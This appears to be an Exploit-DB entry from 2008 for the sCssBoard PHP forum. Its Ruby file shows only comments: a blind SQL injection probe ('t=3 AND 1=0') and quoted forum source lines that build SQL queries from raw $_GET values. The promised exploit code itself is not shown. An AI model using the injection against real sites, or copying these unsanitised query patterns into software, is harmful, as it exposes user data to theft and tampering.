Exploit-DB #5149
Description: sCssBoard (Multiple Versions) - 'pwnpack' Remote s
Type: webapps
Platform: php
Date: 2008-02-18
Author: Inphex

Exploit:
#!/usr/bin/ruby
#inphex - i didnt include all of those bugs into the code,this code basicly  checks if the forum is vulnerable and also exploits SQL Injection bug!
#all versions on sourceforge seem to be the same ;\ so check is beeing done on each version. - scb_  is set as default table prefix
#this forum is very very very buggy,probably there are more bugs...those SQL queries etc ive used of course can be modified
#/*
#** sCssBoard, an extremely fast and flexible CSS-based message board system 
#** Copyright (CC) 2005 Elton Muuga
#**
#** This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike License. 
#** To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/2.0/ or send 
#** a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305, USA.
#*/

#probably not all 

#&act=showforum&f=1&t=3%20AND%201=0,blind sql injction
#/functions/post.php

#@mysql_query("insert into $_CON[prefix]posts (posts_main,posts_topic,posts_name,posts_body,posts_starter,posts_posted,posts_forum) values('yes','$next_topic','$topicname','$body','$uid','$currdate_time','$_GET[f]')");
#				$topic_post_id = @mysql_fetch_array(@mysql_query("select posts_id from $_CON[prefix]posts where posts_main = 'yes' and posts_topic = '$next_topic'"));
#				@mysql_query("update $_CON[prefix]posts set posts_topic_lastpost = '$topic_post_id[0]' where posts_main = 'yes' and posts_topic = '$next_topic'");



#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/post.php

#@mysql_query("insert into $_CON[prefix]posts (posts_main,posts_topic,posts_body,posts_starter,posts_posted,posts_forum) values('no','$topic_details[posts_topic]','$body','$uid','$currdate_time','$_GET[f]')");



#########################################################################################################
#########################################################################################################
#########################################################################################################
#/functions/post.php


#			@mysql_query("update $_CON[prefix]posts set posts_body = '$body' where posts_id = '$_GET[p]'");
#			@mysql_query("update $_CON[prefix]posts set posts_name = '$topicname' where posts_id = '$_GET[p]' and posts_main = 'yes'");



#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/post.php

#$edited_post = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_id = '$_GET[p]'"));



#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/post.php

#								$quoted_post = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]posts where posts_id = '$_GET[q]'"))



#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/showforum.php

#$get_cat = @mysql_fetch_array(@mysql_query("select * from $_CON[prefix]forums where forums_id = $_GET[f]"));
#$all_topics = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_main = 'yes' order by posts_topic_lastpost desc");
#$topic_query = @mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_main = 'yes' order by posts_topic_lastpost desc limit $start,$end");
#$num_topics = @mysql_num_rows($all_topics);
#								
#while($topic_show = @mysql_fetch_array($topic_query)) {
#$total_replies_topic = @mysql_num_rows(@mysql_query("select * from $_CON[prefix]posts where posts_forum = $_GET[f] and posts_topic = '$topic_show[posts_topic]' and posts_main = 'no



#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/showtopic.php

	#} else {
	#	if (!$_GET[deltopic]) {
	#		$result = mysql_query("delete from $_CON[prefix]posts where posts_id = '$_GET[del]'");
	#		$location_string = "&amp;t=$_GET[t]";
	#	} else {
	#		$result = mysql_query("delete from $_CON[prefix]posts where posts_topic = '$_GET[del]'");
	#	}
  
  
  
#########################################################################################################
#########################################################################################################
#########################################################################################################

#/functions/showtopic.php

#} elseif ($_GET[lock]) {
#
#@mysql_query("update $_CON[prefix]posts set posts_topic_locked = '$_GET[lock]' where posts_topic = '$_GET[t]' and posts_main = 'yes'");



#########################################################################################################
###########################################